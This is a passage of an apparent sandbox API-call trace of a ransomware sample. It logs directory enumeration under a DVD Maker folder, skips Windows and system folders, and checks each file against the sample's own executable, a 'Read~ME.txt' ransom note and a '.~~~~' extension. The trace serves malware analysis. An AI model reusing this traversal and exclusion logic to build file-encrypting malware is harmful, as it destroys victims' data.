	[0080.623] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.623] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.623] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.623] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.623] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.623] GetCurrentThreadId () returned 0x618
	[0080.623] RtlWakeConditionVariable () returned 0x365f48
	[0080.623] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.623] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.624] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.624] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.624] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.624] GetCurrentThreadId () returned 0x618
	[0080.624] RtlWakeConditionVariable () returned 0x365f48
	[0080.624] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.624] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.624] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.624] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.624] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.624] GetCurrentThreadId () returned 0x618
	[0080.624] RtlWakeConditionVariable () returned 0x365f48
	[0080.624] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.624] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.624] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.624] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.624] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.625] GetCurrentThreadId () returned 0x618
	[0080.625] RtlWakeConditionVariable () returned 0x365f48
	[0080.625] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.625] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.625] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.625] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.625] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.625] GetCurrentThreadId () returned 0x618
	[0080.625] RtlWakeConditionVariable () returned 0x365f48
	[0080.625] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x2, cFileName="pagecurl.png", cAlternateFileName="")) returned 1
	[0080.625] lstrcmpiW (lpString1="pagecurl.png", lpString2="Windows") returned -1
	[0080.625] lstrcmpW (lpString1="pagecurl.png", lpString2="oiikyy.exe") returned 1
	[0080.625] StrStrW (lpFirst="pagecurl.png", lpSrch=".~~~~") returned 0x0
	[0080.625] lstrcmpW (lpString1="pagecurl.png", lpString2="Read~ME.txt") returned -1
	[0080.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.625] GetCurrentThreadId () returned 0x618
	[0080.625] RtlWakeConditionVariable () returned 0x365f48
	[0080.625] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x2, cFileName="pagecurl.png", cAlternateFileName="")) returned 0
	[0080.625] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.626] GetCurrentThreadId () returned 0x618
	[0080.626] RtlWakeConditionVariable () returned 0x365f48
	[0080.628] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1
	[0080.628] lstrcmpiW (lpString1="Full", lpString2="Windows") returned -1
	[0080.628] lstrcmpW (lpString1="Full", lpString2=".") returned 1
	[0080.628] lstrcmpW (lpString1="Full", lpString2="..") returned 1
	[0080.628] lstrcmpW (lpString1="Full", lpString2="AppData") returned 1
	[0080.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full", lpSrch="AppData") returned 0x0
	[0080.628] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.628] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full", lpString2="C:\\Windows") returned -1
	[0080.628] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.628] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full", lpString2="C:\\System Volume Information") returned -1
	[0080.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0080.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.722] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.722] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.722] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.722] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.722] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.722] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0080.722] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.722] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.722] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.722] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.722] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.722] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.722] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0080.722] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0080.722] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0080.722] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0080.723] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0080.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.723] GetCurrentThreadId () returned 0x618
	[0080.723] RtlWakeConditionVariable () returned 0x365f48
	[0080.723] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x2, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0080.723] lstrcmpiW (lpString1="15x15dot.png", lpString2="Windows") returned -1
	[0080.723] lstrcmpW (lpString1="15x15dot.png", lpString2="oiikyy.exe") returned -1
	[0080.723] StrStrW (lpFirst="15x15dot.png", lpSrch=".~~~~") returned 0x0
	[0080.723] lstrcmpW (lpString1="15x15dot.png", lpString2="Read~ME.txt") returned -1
	[0080.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.723] GetCurrentThreadId () returned 0x618
	[0080.723] RtlWakeConditionVariable () returned 0x365f48
	[0080.723] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x2, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1
	[0080.723] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="Windows") returned -1
	[0080.723] lstrcmpW (lpString1="dotsdarkoverlay.png", lpString2="oiikyy.exe") returned -1
	[0080.723] StrStrW (lpFirst="dotsdarkoverlay.png", lpSrch=".~~~~") returned 0x0
	[0080.723] lstrcmpW (lpString1="dotsdarkoverlay.png", lpString2="Read~ME.txt") returned -1
	[0080.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.723] GetCurrentThreadId () returned 0x618
	[0080.723] RtlWakeConditionVariable () returned 0x365f48
	[0080.724] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x2, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1
	[0080.724] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="Windows") returned -1
	[0080.724] lstrcmpW (lpString1="dotslightoverlay.png", lpString2="oiikyy.exe") returned -1
	[0080.724] StrStrW (lpFirst="dotslightoverlay.png", lpSrch=".~~~~") returned 0x0
	[0080.724] lstrcmpW (lpString1="dotslightoverlay.png", lpString2="Read~ME.txt") returned -1
	[0080.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.724] GetCurrentThreadId () returned 0x618
	[0080.724] RtlWakeConditionVariable () returned 0x365f48
	[0080.724] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x2, cFileName="full.png", cAlternateFileName="")) returned 1
	[0080.724] lstrcmpiW (lpString1="full.png", lpString2="Windows") returned -1
	[0080.724] lstrcmpW (lpString1="full.png", lpString2="oiikyy.exe") returned -1
	[0080.724] StrStrW (lpFirst="full.png", lpSrch=".~~~~") returned 0x0
	[0080.724] lstrcmpW (lpString1="full.png", lpString2="Read~ME.txt") returned -1
	[0080.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.724] GetCurrentThreadId () returned 0x618
	[0080.724] RtlWakeConditionVariable () returned 0x365f48
	[0080.724] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.724] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.724] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.724] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.724] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.724] GetCurrentThreadId () returned 0x618
	[0080.725] RtlWakeConditionVariable () returned 0x365f48
	[0080.725] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.725] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.725] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.725] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.725] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4c10
	[0080.725] GetCurrentThreadId () returned 0x618
	[0080.725] RtlWakeConditionVariable () returned 0x365f48
	[0080.725] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.725] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.725] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.725] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.725] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.725] GetCurrentThreadId () returned 0x618
	[0080.725] RtlWakeConditionVariable () returned 0x365f48
	[0080.726] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.726] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.726] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.726] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.726] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4c10
	[0080.726] GetCurrentThreadId () returned 0x618
	[0080.726] RtlWakeConditionVariable () returned 0x365f48
	[0080.726] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.726] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.726] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.726] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.726] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.726] GetCurrentThreadId () returned 0x618
	[0080.726] RtlWakeConditionVariable () returned 0x365f48
	[0080.726] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.726] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.726] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.726] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.726] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4c10
	[0080.726] GetCurrentThreadId () returned 0x618
	[0080.726] RtlWakeConditionVariable () returned 0x365f48
	[0080.726] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x2, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1
	[0080.726] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="Windows") returned -1
	[0080.726] lstrcmpW (lpString1="pushplaysubpicture.png", lpString2="oiikyy.exe") returned 1
	[0080.727] StrStrW (lpFirst="pushplaysubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.727] lstrcmpW (lpString1="pushplaysubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.727] GetCurrentThreadId () returned 0x618
	[0080.727] RtlWakeConditionVariable () returned 0x365f48
	[0080.727] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x2, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0
	[0080.727] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.728] GetCurrentThreadId () returned 0x618
	[0080.728] RtlWakeConditionVariable () returned 0x365f48
	[0080.728] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.728] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.728] lstrcmpW (lpString1="Heart_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
